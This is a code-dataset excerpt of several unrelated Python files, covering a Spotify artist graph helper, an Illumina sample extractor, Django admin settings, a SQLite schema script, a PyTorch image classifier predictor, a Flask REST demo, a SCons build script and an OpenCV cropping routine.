track\r\n\r\n def getRelatedArtists(self, artistID):\r\n relatedArtists = sp.artist_related_artists(artistID)\r\n relatedArtistID = []\r\n relatedArtistName = []\r\n\r\n for i in range(len(relatedArtists['artists'])):\r\n relatedArtistID = np.append(relatedArtistID,\r\n relatedArtists['artists'][i]['id'])\r\n relatedArtistName = np.append(relatedArtistName,\r\n relatedArtists['artists'][i]['name'])\r\n self.relArtistsID = relatedArtistID\r\n self.relArtistsNames = relatedArtistName\r\n\r\n return relatedArtistID, relatedArtistName\r\n\r\n def getVertices(self):\r\n nodes=np.array([])\r\n nodes = [self.relArtistsNames[i] for i in range(len(self.relArtistsNames))]\r\n nodes = np.append(nodes,self.artistName)\r\n return nodes\r\n\r\n def getEdges(self):\r\n \r\n edges = [(self.artistName,self.relArtistsNames[i]) \r\n for i in range(len(self.relArtistsNames))]\r\n \r\n \r\n return edges\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"artist.py","file_name":"artist.py","file_ext":"py","file_size_in_byte":4246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"380404237","text":"#!/usr/bin/python\n\n\"\"\"\nIlluminaSampleExtractor.py\n\nThis module only works for Synbio Lab index excel file format.\n\nAuthor : Sunghoon Heo\n\nUsage : python IlluminaSampleExtractor.py \\\n--excel1 \\\n--excel2 \\\n--out < output file name with path>\n\n2016-12-02 Only MiniSeq avail\n\"\"\"\ntry:\n\timport xlrd\nexcept ImportError:\n\traise ImportError(\"Python xlrd library required. Please tell administrator to intall.\")\n\nfrom argparse import ArgumentParser\n\nclass ExcelFiles(object):\n\tdef __init__(self, excel1, excel2=None):\n\t\tself.generals = excel1\n\t\tif excel2 == None:\n\t\t\tself.specific = None\n\t\tself.specific = excel2\n\n\nclass ExcelReader(object):\n\tdef __init__(self, EF):\n\t\tself.first = xlrd.open_workbook(EF.generals)\n\t\tif EF.specific == None : pass\n\t\tself.second = xlrd.open_workbook(EF.specific)\n\t\tself.content1 = []\n\t\tself.content2 = []\n\tdef read_all(self):\n\t\tself.read_excel(self.first,1)\n\t\tif self.second != None: self.read_excel(self.second,2)\n\t\n\tdef read_excel(self, obj,index=1):\n\t\tsheet = obj.sheet_by_index(0)\n\t\tnumrows = sheet.nrows\n\t\t\n\t\tj = 0\n\t\tcolumns = [1,3,4]\n\t\tbreak_signal = False\n\t\twhile j < 2:\n\t\t\tfor r in xrange(0,numrows):\n\t\t\t\t### To solve index order we will first access by row and then access by columns\n\t\t\t\t### First columns required = 1,3,4 each represents p5, p7, sample name then 12, 14, 15\n\t\t\t\tdata_pts = []\n\t\t\t\tfor col in columns :\n\t\t\t\t\ttry: cell_val = sheet.cell_value(r,col); data_pts.append(cell_val)\n\t\t\t\t\texcept IndexError: break_signal=True; break\n\t\t\t\tif break_signal :\n\t\t\t\t\tbreak\n\t\t\t\tif index == 1 :\n\t\t\t\t\tself.content1.append(data_pts)\n\t\t\t\telif index == 2 :\n\t\t\t\t\tself.content2.append(data_pts)\n\t\t\tif break_signal : break\n\t\t\tcolumns = [11,13,14]\n\t\t\tj += 1\n\t\t\t\nclass FormatterToRead(object):\n\tdef __init__(self, reader,model='miniseq'):\n\t\tif model == None :\n\t\t\traise AttributeError(\"Please specify model. miniseq, theragen avail currently(2016-12-02)\")\n\n#\t\tself.reader = reader\n#\t\tself.reader2 = reader2\n\t\tself.excel_filled = self.simplify(reader,1)\n\t\tself.my_filled = self.simplify(reader,2)\n\n\tdef miniseq_formatter(self, index) :\n\t\tindex = index + 1\n\t\tprefix = str(index) + \"_S\" + str(index) +\"_L001_R\"\n\t\tfwd = prefix + \"1_001.fastq.gz\"\n\t\trev = prefix + \"2_001.fastq.gz\"\n\t\treturn fwd , rev\n \t\n\tdef simplify(self,R,index):\n\t\tif index == 1:\n\t\t\textended = R.content1\n\t\telse :\n\t\t\textended = R.content2\n\t\tnew_list = []\n\t\t#print extended\n\t\tfor entry in extended :\n\t\t\t\n\t\t\te = entry[2]\n\t\t\tif e == None or e == '' or e == u'' or e == u'sample':\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tnew_list.append(entry)\n\t\t#print new_list\n\t\treturn new_list\n\n\tdef select(self, model='miniseq'):\n\t\tselected = []\n\t\tfor data in self.my_filled:\n\t\t\tif data in self.excel_filled:\n\t\t\t\ti = self.excel_filled.index(data)\n\t\t\t\tif model == 'miniseq':\n\t\t\t\t\tfwd, rev = self.miniseq_formatter(i+1)\n\t\t\t\t\tselected.append((fwd, rev))\n\t\t# for i , data in enumerate(self.excel_filled):\n\t\t\t# if model == 'miniseq':\n\t\t\t\t# fwd, rev = self.miniseq_formatter(i)\n\t\t\t\t# if data in self.my_filled :\n\t\t\t\t\t# selected.append((fwd, rev))\n\n\t\treturn selected\n\n\ndef main():\n\tparser = ArgumentParser()\n\tparser.add_argument(\"--excel1\" , type=str,required=True)\n\tparser.add_argument(\"--excel2\" , type=str,required=True)\n\tparser.add_argument(\"--out\", type=str,required=True)\n\targs = parser.parse_args()\n\texcel_files = ExcelFiles(args.excel1, args.excel2)\n\tExReader = ExcelReader(excel_files)\n\tExReader.read_all()\n\tFormReader = FormatterToRead(ExReader)\n\tselected = FormReader.select()\n\tO = open(args.out,\"w\")\n\tfor s in selected :\n\t\t\n\t\tO.write(s[0] + \"\\t\" + s[1] + \"\\n\")\n\tO.close()\n\t\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"IlluminaSampleExtractor.py","file_name":"IlluminaSampleExtractor.py","file_ext":"py","file_size_in_byte":3640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"387977157","text":"from django.contrib import admin\nfrom .models import Schedules, Crews\n# Register your models here.\n# set up an line from crews to schedulesadmin\n\nclass SchedulesAdmin(admin.ModelAdmin):\n\tmodel = Schedules\n\n\tlist_display = (\n\t\t'showcode',\n\t\t'away_team',\n\t\t'home_team',\n\t\t'live_event_day',\n\t\t'live_event_date',\n\t\t'live_event_time',\n\t\t'unit_manager',\t\t\n\t)\n\n\tsearch_fields = [\n\t\t'showcode', \n\t\t'home_team',\n\t\t'unit_manager'\n\t]\n\n\tfieldsets = (\n\t\t('Show Information', {\n\t\t\t'fields': (\n\t\t\t\t('showcode', 'home_team', 'away_team'),\n\t\t\t\t('live_event_day', 'live_event_date', 'live_event_time', 'live_tape_delay')\n\t\t\t\t)\n\t\t\t}),\n\t\t('Venue Information', {\n\t\t\t'fields': (\n\t\t\t\t('mobile_unit', 'originating_pod'), \n\t\t\t\t('venue')\n\t\t\t\t)\n\t\t\t}),\n\t\t('Transmission Information', {\n\t\t\t'fields': (\n\t\t\t\t('transmission_info', 'studio_facility_assignment', 'bridge_info'),\n\t\t\t\t('notes'),\n\t\t\t\t('cam_num', 'vtr_num')\n\t\t\t\t)\n\t\t\t}),\n\t\t('Internal Staff', {\n\t\t\t'classes': ('wide',),\n\t\t\t'fields': (\n\t\t\t\t('coordinating_producer', 'production_manager'),\n\t\t\t\t('crewing_coordinator', 'production_coordinator')\n\t\t\t\t)\n\t\t\t}),\n\t\t('ATL', {\n\t\t\t'classes': ('wide',),\n\t\t\t'fields': (\n\t\t\t\t('producer', 'director'),\n\t\t\t\t('unit_manager', 'associate_director')\n\t\t\t\t)\n\t\t\t}),\n\t\t('Talent', {\n\t\t\t'classes': ('wide', ),\n\t\t\t'fields': (\n\t\t\t\t('play_by_play1', 'analyst1', 'sideline1'),\n\t\t\t\t('play_by_play2', 'analyst2', 'sideline2'),\n\t\t\t\t('play_by_play3', 'analyst3', 'sideline3')\n\t\t\t\t)\n\t\t\t}),\n\t)\n\n\nclass CrewsAdmin(admin.ModelAdmin):\n\tmodel = Crews\n\n\tlist_display = (\n\t\t'joinschedules',\n\t\t'created_by',\n\t\t'date_created',\n\t\t'last_modified_by',\n\t\t'date_modified',\n\t)\n\n\n\texclude = ('created_by', 'last_modified_by', 'joinalias', )\n\n\t#overrides the save() method\n\tdef save_model(self, request, obj, form, change):\n\t\t#adds the username of the user to created_by column the first time\n\t\tif getattr(obj, 'created_by', None) is None:\n\t\t\tobj.created_by = request.user\n\t\tobj.save()\n\t\t#adds the username of the user who last modified the object\n\t\tif getattr(obj, 'last_modified_by', None) is None:\n\t\t\tobj.last_modified_by = request.user\n\t\tobj.save()\n\n\n\nadmin.site.register(Crews, CrewsAdmin)\nadmin.site.register(Schedules, SchedulesAdmin)","sub_path":"events/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"307334369","text":"import sqlite3\n\nCON = None\nCUR = None\n\n\ndef setup(dbname=\"ttrader.db\"):\n global CON\n global CUR\n CON = sqlite3.connect(dbname)\n CUR = CON.cursor()\n\ndef run():\n SQL = \"DROP TABLE IF EXISTS accounts;\"\n \n CUR.execute(SQL)\n \n SQL = \"\"\"CREATE TABLE accounts(\n pk INTEGER PRIMARY KEY AUTOINCREMENT,\n username VARCHAR,\n pass_hash VARCHAR(128),\n type VARCHAR,\n balance FLOAT);\"\"\"\n \n CUR.execute(SQL)\n \n SQL = \"DROP TABLE IF EXISTS trades;\"\n \n CUR.execute(SQL)\n \n SQL = \"\"\"CREATE TABLE trades(\n pk INTEGER PRIMARY KEY AUTOINCREMENT,\n account_pk INTEGER,\n ticker VARCHAR,\n volume INTEGER,\n price FLOAT,\n time INTEGER,\n FOREIGN KEY(account_pk) REFERENCES accounts(pk)\n );\"\"\"\n \n CUR.execute(SQL)\n \n SQL = \"DROP TABLE IF EXISTS positions;\"\n \n CUR.execute(SQL)\n \n SQL = \"\"\"CREATE TABLE positions(\n pk INTEGER PRIMARY KEY AUTOINCREMENT,\n account_pk INTEGER,\n ticker VARCHAR,\n amount INTEGER,\n FOREIGN KEY(account_pk) REFERENCES accounts(pk)\n );\"\"\"\n \n CUR.execute(SQL)\n \n CON.commit()\n CUR.close()\n CON.close()\n\nif __name__ == \"__main__\":\n setup()\n run()\n","sub_path":"week3/ttrader/unit tests carter/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"187633051","text":"import torch\nfrom torch import nn\nfrom torch import optim\nimport torch.nn.functional as F\nfrom torchvision import datasets, transforms, models\n\nimport json\nfrom PIL import Image\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport argparse\nfrom collections import OrderedDict\n\n'''使用 predict.py 预测图像的花卉名称以及该名称的概率\n\n基本用途：python predict.py input checkpoint\n选项：\n返回前 KK 个类别：python predict.py input checkpoint --top_k 3\n使用类别到真实名称的映射：python predict.py input checkpoint --category_names cat_to_name.json\n使用 GPU 进行训练：python predict.py input checkpoint --gpu\n'''\n\n\n################################################################################################################\n\n\ndef main():\n '''build our main function which calls different sub functions'''\n args = get_args()\n print(\"### Starting Main function ###\")\n \n checkpoint = args.checkpoint\n input_path = args.input\n \n #load check point\n print('load checkpoint') \n model = load(checkpoint,args)\n \n #process image\n process_image(input_path)\n \n #predict\n predict(input_path, model, topk=3)\n \n #mapping\n if args.top_k:\n topk = ints(args.top_k)\n else:\n topk = 3\n \n probs, classes = predict(input_path, model, topk=3) \n map_label(args, probs, classes)\n\n\ndef get_args():\n '''set up required arguments mentioned in review standard'''\n parser = argparse.ArgumentParser(description='')\n\n parser = argparse.ArgumentParser(description='predict.py: Opens a pretrained network and predicts an image class.')\n parser.add_argument('--input', help='Input image file for prediction', required=True)\n parser.add_argument('--checkpoint', help='File path to checkpoint', required=True)\n parser.add_argument('--top_k', help='Display Topk', required=False)\n parser.add_argument('--category_names', help='Mapping category label to actual label', required=False)\n parser.add_argument('--gpu', help='use GPU for training', required=False)\n\n return parser.parse_args()\n\n\ndef load(checkpoint, args):\n checkpoint = torch.load(checkpoint) \n \n #GPU or CPU mode + check gpu availability\n if args.gpu and torch.cuda.is_available():\n device = 'cuda'\n else:\n device = 'cpu'\n \n #training model\n if checkpoint['arch'] == 'vgg13':\n model = models.vgg13(pretrained=True)\n else:\n model = models.vgg16(pretrained=True)\n \n model.class_to_idx = checkpoint['class_to_idx']\n \n hidden_units = checkpoint['hidden_units']\n hidden_units_fc2 = int(hidden_units / 4)\n \n #make input size as a variable instead of hard coded value\n input_size = model.classifier[0].in_features\n \n print(\"Building Classifer \")\n \n \n \n classifier = nn.Sequential(OrderedDict([\n ('fc1', nn.Linear(input_size, hidden_units)),\n ('relu1', nn.ReLU()),\n ('fc2', nn.Linear(hidden_units, hidden_units_fc2)),\n ('relu2', nn.ReLU()),\n ('fc3', nn.Linear(hidden_units_fc2, 102)),\n ('output', nn.LogSoftmax(dim=1))\n ]))\n\n model.classifier = classifier\n \n \n \n model.load_state_dict(checkpoint['state_dict'])\n \n model.to(device)\n\n return model\n\n\ndef process_image(image):\n ''' Scales, crops, and normalizes a PIL image for a PyTorch model,\n returns an Numpy array\n '''\n\n mean = [0.485, 0.456, 0.406]\n std = [0.229, 0.224, 0.225] \n \n pil_image = Image.open(image).convert(\"RGB\")\n \n data_transforms = transforms.Compose([transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(mean, std)])\n pil_image = data_transforms(pil_image)\n return pil_image\n\n\ndef predict(image_path, model, topk=3):\n ''' Predict the class (or classes) of an image using a trained deep learning model.\n ''' \n model.to('cpu') #Else will get error Expected object of type torch.cuda.FloatTensor but found type torch.FloatTensor for argument #4 'mat1'\n # load image \n image = process_image(image_path)\n image = image.unsqueeze(0) #for VGG model\n \n with torch.no_grad():\n output = model.forward(image)\n probabilities, labels = torch.topk(output, topk)\n \n probabilities = probabilities.exp()\n \n class_to_idx_inv = {model.class_to_idx[k]: k for k in model.class_to_idx}\n classes = list()\n \n for i in labels.numpy()[0]:\n classes.append(class_to_idx_inv[i])\n \n return probabilities.numpy()[0], classes\n\n\n\n################################################################################################################\n###### Map the labels\n\ndef map_label(args, probs, classes):\n if args.category_names:\n category_names = args.category_names\n else:\n category_names = 'cat_to_name.json'\n \n with open(category_names, 'r') as f:\n cat_to_name = json.load(f)\n \n labels = []\n '''for i in classes:\n s = str(i + 1)\n labels.append(cat_to_name[s])'''\n \n for class_idx in classes:\n labels.append(cat_to_name[class_idx])\n\n df = pd.DataFrame({'Classes':classes, 'Prob':probs, 'Labels':labels})\n\n top = df.sort_values(by=['Prob'], ascending=0)\n\n print(\"Top \" + str(len(classes)) + \" possible labels for the image:\")\n print(str(top))\n\nif __name__ == '__main__':\n main()\n","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":5742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"438031913","text":"import flask.ext.restless\nimport flask.ext.sqlalchemy\nimport datetime\n \napp = flask.Flask(__name__)\napp.config['DEBUG'] = True\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'\ndb = flask.ext.sqlalchemy.SQLAlchemy(app)\n\nclass User(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n username = db.Column(db.String(80), unique=False)\n email = db.Column(db.String(120), unique=False)\n\n def __init__(self, username, email):\n self.username = username\n self.email = email\n\n def __repr__(self):\n return '' % self.username\n\n \n# db.create_all()\n# admin = User('admin', 'admin@example.com')\n# guest = User('guest', 'guest@example.com')\n# db.session.add(admin)\n# db.session.add(guest)\n# db.session.commit()\n\nmanager = flask.ext.restless.APIManager(app, flask_sqlalchemy_db=db)\n\nmanager.create_api(User,\n methods=['GET', 'POST', 'DELETE', 'PUT'], results_per_page=20)\n \napp.run()\n","sub_path":"python/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"593420571","text":"#===============================================================================\n#\n# GENERAL DESCRIPTION\n# Build script for SBI mini driver library.\n#\n# Copyright (c) 2010, 2011, 2012 by QUALCOMM, Incorporated.\n# All Rights Reserved.\n# QUALCOMM Proprietary/GTDR\n#\n#-------------------------------------------------------------------------------\n#\n# $Header: //source/qcom/qct/core/pkg/bootloaders/rel/1.2.2/boot_images/core/buses/sbi/mini/build/SConscript#1 $\n# $DateTime: 2012/08/07 05:32:02 $\n# $Author: coresvc $\n# $Change: 2668414 $\n# EDIT HISTORY FOR FILE\n#\n# This section contains comments describing changes made to the module.\n# Notice that changes are listed in reverse chronological order.\n#\n# when who what, where, why\n# -------- --- ---------------------------------------------------------\n# 03/08/12 MJS Add mini library for SBL2 PCDDR3.\n# 03/07/12 MJS Update for SCons pack.\n# 02/14/12 MJS Add support for 8930.\n# 02/02/12 MJS Separate folder for 8064 SBL1.\n# 09/06/11 MJS Update for 8064.\n# 08/08/11 MJS Update for 9x15 SBL1.\n# 06/29/11 AV Add support for 9x15\n# 06/16/11 MJS Add support for 8960 eMMMCBLD.\n# 02/12/11 MJS Add 8960 Riva implementation.\n# 02/12/11 MJS Add 8660 RPM implementation.\n# 02/02/11 MJS Add 8960 support.\n# 01/28/11 MJS Add 8660 TZ implementation.\n# 09/16/10 MJS Add support for 8672.\n# 07/21/10 MJS Compile default implementation for SCMM.\n# 06/07/10 MJS Add 8660 RPMSBL implementation.\n# 05/13/10 MJS Add default implementation.\n# 02/11/10 MJS Created.\n#\n#===============================================================================\nImport('env')\nenv = env.Clone()\n\n# Additional defines\nenv.Append(CPPDEFINES = [\"FEATURE_LIBRARY_ONLY\"])\n\n#-------------------------------------------------------------------------------\n# Source PATH\n#-------------------------------------------------------------------------------\nSRCPATH = \"../src\"\n\nenv.VariantDir('${BUILDPATH}', SRCPATH, duplicate=0)\n\nSBI_MINI_SOURCES = []\nUSE_LIB_NAMES = False\n\nif env['MSM_ID'] == '7x30':\n env.Replace(SBI_PLATFORM = '7x30')\n IMAGES = ['MODEM_IMAGE', 'CBSP_MODEM_IMAGE', 'SINGLE_IMAGE', 'CBSP_SINGLE_IMAGE']\nelif env['MSM_ID'] in ['8x60', '8660', '8672'] and env.has_key('RPMSBL_BOOT_IMAGE'):\n SBI_MINI_SOURCES = ['${BUILDPATH}/8660/rpmsbl/sbi_mini.c']\n IMAGES = ['RPMSBL_BOOT_IMAGE']\nelif env['MSM_ID'] in ['8960', '8930'] and env.has_key('RPMSBL_BOOT_IMAGE'):\n SBI_MINI_SOURCES = ['${BUILDPATH}/8960/rpmsbl/sbi_mini.c']\n IMAGES = ['RPMSBL_BOOT_IMAGE']\nelif env['MSM_ID'] in ['8x60', '8660', '8672', '8960', '8930'] and env.has_key('RPM_IMAGE'):\n SBI_MINI_SOURCES = ['${BUILDPATH}/8660/rpm/sbi_mini.c']\n IMAGES = ['RPM_IMAGE']\nelif env['MSM_ID'] in ['8x60', '8660', '8672'] and env.has_key('TZOS_IMAGE'):\n SBI_MINI_SOURCES = ['${BUILDPATH}/8660/tzos/sbi_mini.c']\n IMAGES = ['TZOS_IMAGE']\nelif env['MSM_ID'] in ['8960', '8930'] and env.has_key('TZOS_IMAGE'):\n SBI_MINI_SOURCES = ['${BUILDPATH}/8960/tzos/sbi_mini.c']\n IMAGES = ['TZOS_IMAGE']\nelif env['MSM_ID'] in ['8064'] and env.has_key('TZOS_IMAGE'):\n SBI_MINI_SOURCES = ['${BUILDPATH}/8064/tzos/sbi_mini.c']\n IMAGES = ['TZOS_IMAGE']\nelif env['MSM_ID'] in ['8960', '8064', '8930'] and env.has_key('WCN_IMAGE'):\n SBI_MINI_SOURCES = ['${BUILDPATH}/8960/riva/sbi_mini.c']\n IMAGES = ['WCN_IMAGE']\nelif env['MSM_ID'] in ['8960', '8930'] and env.has_key('EMMCBLD_IMAGE'):\n SBI_MINI_SOURCES = ['${BUILDPATH}/8960/rpmsbl/sbi_mini.c']\n IMAGES = ['EMMCBLD_IMAGE']\nelif env['MSM_ID'] in ['9x15']:\n env.Replace(SBI_MINI_PLATFORM = '9x15/sbl1')\n env.Replace(SBI_MINI_TZ_PLATFORM = '9x15/sbl1')\n env.Replace(SBI_MINI_RPM_PLATFORM = '8960/rpm')\n USE_LIB_NAMES = True\nelif env['MSM_ID'] in ['8064']:\n env.Replace(SBI_MINI_PLATFORM = '8064/rpmsbl')\n env.Replace(SBI_MINI_TZ_PLATFORM = '8064/tzos')\n env.Replace(SBI_MINI_RPM_PLATFORM = '8660/rpm')\n env.PublishPrivateApi('BUSES_SBI_MINI', [\"${INC_ROOT}/core/buses/sbi/hal/src/8064/apps\"])\n USE_LIB_NAMES = True\nelse:\n # The default platform should never be used, it is only to satisfy\n # link dependencies\n env.Replace(SBI_PLATFORM = 'default')\n IMAGES = ['MODEM_IMAGE', 'CBSP_MODEM_IMAGE', 'SINGLE_IMAGE', 'CBSP_SINGLE_IMAGE']\n\n\n#-------------------------------------------------------------------------------\n# Publish Private APIs\n#-------------------------------------------------------------------------------\nenv.PublishPrivateApi('BUSES_SBI_DAL', [\n \"${INC_ROOT}/core/buses/sbi/dal/inc\",\n])\n\n#-------------------------------------------------------------------------------\n# Internal depends within CoreBSP\n#-------------------------------------------------------------------------------\nCBSP_APIS = [\n 'BUSES',\n 'DAL',\n 'HAL',\n 'SERVICES',\n 'SYSTEMDRIVERS',\n 'KERNEL',\n]\n\nenv.RequirePublicApi(CBSP_APIS)\nenv.RequireRestrictedApi(CBSP_APIS)\n\n#-------------------------------------------------------------------------------\n# Sources, libraries\n#-------------------------------------------------------------------------------\nif USE_LIB_NAMES:\n SBI_MINI_SOURCES = ['${BUILDPATH}/${SBI_MINI_PLATFORM}/sbi_mini.c']\n SBI_MINI_TZ_SOURCES = ['${BUILDPATH}/${SBI_MINI_TZ_PLATFORM}/sbi_mini.c']\n SBI_MINI_RPM_SOURCES = ['${BUILDPATH}/${SBI_MINI_RPM_PLATFORM}/sbi_mini.c']\nelse:\n if not SBI_MINI_SOURCES:\n SBI_MINI_SOURCES = [\n '${BUILDPATH}/${SBI_PLATFORM}/sbi_mini_iram_asm.s',\n '${BUILDPATH}/common/sbi_mini.c'\n ]\n\n#-------------------------------------------------------------------------------\n# Add Libraries to image\n#-------------------------------------------------------------------------------\nif USE_LIB_NAMES:\n env.AddBinaryLibrary(['EMMCBLD_IMAGE', 'RPMSBL_BOOT_IMAGE', 'SSBI_MINI_BOOT_DRIVER'], '${BUILDPATH}/sbi_mini', SBI_MINI_SOURCES)\n env.AddBinaryLibrary(['SSBI_MINI_TZ_DRIVER'], '${BUILDPATH}/sbi_mini_tz', SBI_MINI_TZ_SOURCES)\n env.AddBinaryLibrary(['RPM_IMAGE'], '${BUILDPATH}/sbi_mini_rpm', SBI_MINI_RPM_SOURCES)\n env.AddBinaryLibrary(['SSBI_MINI_PCDDR3_DRIVER'], '${BUILDPATH}/sbi_mini_pcddr3', SBI_MINI_RPM_SOURCES)\nelse:\n env.AddBinaryLibrary(IMAGES, '${BUILDPATH}/sbi_mini', SBI_MINI_SOURCES)\n\n","sub_path":"boot_images/core/buses/sbi/mini/build/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":6356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"265759686","text":"class Solution:\n def numDecodings(self, s: str) -> int:\n if not s or s[0]==\"0\":\n return 0\n \n count = [0]*(len(s)+1)\n \n count[0], count[1] = 1,1\n \n for i in range(2, len(s)+1):\n count[i] = 0\n \n if(s[i-1] > '0'):\n count[i] = count[i-1]\n \n if(s[i-2] == '1' or (s[i-2] == '2' and s[i-1]<'7')):\n count[i] += count[i-2]\n \n return count[-1]\n \n","sub_path":"Leetcode/Q91.py","file_name":"Q91.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"67888507","text":"import pandas as pd\nimport os\n\nHOME_DIR = os.path.dirname(os.path.abspath(__file__))\n\ndef get_basic_statistics():\n train = pd.read_csv(os.path.join(HOME_DIR,\"input/clicks_train.csv\")) \n print(\"Total number of rows %d\" %train.shape[0])\n \n train_events = train[\"display_id\"].unique()\n print(\"Total number of events %d\" %len(train_events))\n train_ads = train[\"ad_id\"].unique()\n print(\"Total number of ads %d\" %len(train_ads))\n \n test = pd.read_csv(os.path.join(HOME_DIR,\"input/clicks_test.csv\")) \n print(\"Total number of rows %d\" %test.shape[0])\n \n test_events = test[\"display_id\"].unique()\n print(\"Total number of events %d\" %len(test_events))\n test_ads = test[\"ad_id\"].unique()\n print(\"Total number of ads %d\" %len(test_ads))\n\n leakage_events = list(set(train_events) & set(test_events))\n if len(leakage_events) == 0:\n print(\"There is no leakage event\")\n \n test_ads_new = list(set(test_ads) - set(train_ads))\n print(\"Number of new ads in the test set %d\" %len(test_ads_new)) \n\ndef get_extra_statistics():\n event_info = pd.read_csv(os.path.join(HOME_DIR,\"input/events.csv\"))\n event_info.rename(columns={'document_id': 'event_doc_id'}, inplace=True)\n \n train = pd.read_csv(os.path.join(HOME_DIR,\"input/clicks_train.csv\"))\n train = pd.merge(train, event_info, on=\"display_id\", how=\"left\")\n train_uuids = train[\"uuid\"].unique()\n print(\"Total number of users %d\" %len(train_uuids))\n \n test = pd.read_csv(os.path.join(HOME_DIR,\"input/clicks_test.csv\"))\n test = pd.merge(test, event_info, on=\"display_id\", how=\"left\")\n test_uuids = test[\"uuid\"].unique()\n print(\"Total number of users %d\" %len(test_uuids))\n \n test_uuids_new = list(set(test_uuids) - set(train_uuids))\n print(\"Number of new users in the test set %d\" %len(test_uuids_new))\n \n \n#==============================================================================\nif __name__ == '__main__':\n #get_basic_statistics()\n get_extra_statistics()","sub_path":"outbrain_v3.py","file_name":"outbrain_v3.py","file_ext":"py","file_size_in_byte":2030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"603717366","text":"import numpy as np\r\nfrom pylab import imshow, figure\r\nimport matplotlib.pyplot as plt\r\nimport cv2\r\nfrom ex1d import find_line\r\nfrom ex2c import *\r\nfrom test3 import *\r\nimport scipy.misc\r\n\r\ndef find_little_rec(src_img):\r\n\r\n\th, w = src_img.shape\r\n\tfirst_row = 0\r\n\tflag = 0\r\n\t# find first row\r\n\tfor i in range(h):\r\n\t\tif(flag):\r\n\t\t\tbreak\r\n\t\tfor j in range(w):\r\n\t\t\tif(src_img[i][j]):\r\n\t\t\t\tfirst_row = i\r\n\t\t\t\tflag = 1\r\n\t\t\t\tbreak;\r\n\tlast_row = h\r\n\tflag = 0\r\n\t#find last row\r\n\tfor i in reversed(range(h)):\r\n\t\tif(flag):\r\n\t\t\tbreak\r\n\t\tfor j in range(w):\r\n\t\t\tif(src_img[i][j]):\r\n\t\t\t\tlast_row = i\r\n\t\t\t\tflag = 1\r\n\t\t\t\tbreak;\r\n\r\n\tfirst_col = 0\r\n\tflag = 0\r\n\tfor i in range(w):\r\n\t\tif(flag):\r\n\t\t\tbreak\r\n\t\tfor j in range(h):\r\n\t\t\tif(src_img[j][i]):\r\n\t\t\t\tfirst_col = i\r\n\t\t\t\tflag = 1\r\n\t\t\t\tbreak;\r\n\tlast_col = w\r\n\tflag = 0\r\n\tfor i in reversed(range(w)):\r\n\t\tif(flag):\r\n\t\t\tbreak\r\n\t\tfor j in range(h):\r\n\t\t\tif(src_img[j][i]):\r\n\t\t\t\tlast_col = i\r\n\t\t\t\tflag = 1\r\n\t\t\t\tbreak;\r\n\tw_newImg = last_col - first_col\r\n\th_newImg = last_row - first_row\r\n\tnew_img = np.zeros((h_newImg, w_newImg ))\r\n\r\n\tnew_img[0:h_newImg, 0:w_newImg] = src_img[first_row:last_row, first_col:last_col]\r\n\treturn new_img\r\n\r\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n# main\r\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\npathArr = ['8.tif','32.tif','56.tif','63.tif','80.tif']\r\narrNames= ['8','32','56','63','80']\r\nlastArr = [None] * 5\r\n\r\nfor i in range(len(pathArr)):\r\n\tsrc_img = cv2.imread(pathArr[i],0)\r\n\tsrc_img_cpy = src_img\r\n\th, w = src_img.shape\r\n\r\n\tthreshold_img = (src_img > 50) * 255\r\n\tthreshold_img = threshold_img.astype(np.uint8)\r\n\r\n\tthreshold_img_Opp = (src_img > 10) * 255\r\n\tthreshold_img_Opp = threshold_img_Opp.astype(np.uint8)\r\n\r\n\r\n\trotated90 = np.rot90(threshold_img_Opp)\r\n\tedges = cv2.Canny(threshold_img,200,255)\r\n\tedgesOpp = cv2.Canny(rotated90,200,255)\r\n\thorLines = find_line(edges)\r\n\tverLines = find_line(edgesOpp)\r\n\tverLines = np.rot90(verLines,3);\r\n\timageBorder = horLines + verLines;\r\n\timageBorder = (imageBorder >= 255)*255\r\n\tnew_lines = long_lines(imageBorder)\r\n\tmask_img = fill_rec(new_lines)\r\n\tend_img = np.zeros((h,w))\r\n\r\n\tfor j in range(h):\r\n\t\tfor k in range(w):\r\n\t\t\tif(mask_img[j][k]):\r\n\t\t\t\tend_img[j][k] = src_img_cpy[j][k]\r\n\t\t\telse:\r\n\t\t\t\tend_img[j][k]=0\r\n\tlastArr[i] = find_little_rec(end_img)\r\n\r\nfor i in range(len(pathArr)):\r\n\tscipy.misc.imsave('output'+ str(arrNames[i])+'.jpg', lastArr[i])\r\n\tplt.figure(\"output image: \"+ str(arrNames[i]))\r\n\tplt.imshow(lastArr[i] , cmap='gray')\r\n\tplt.show()\r\n\r\n","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":2506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} 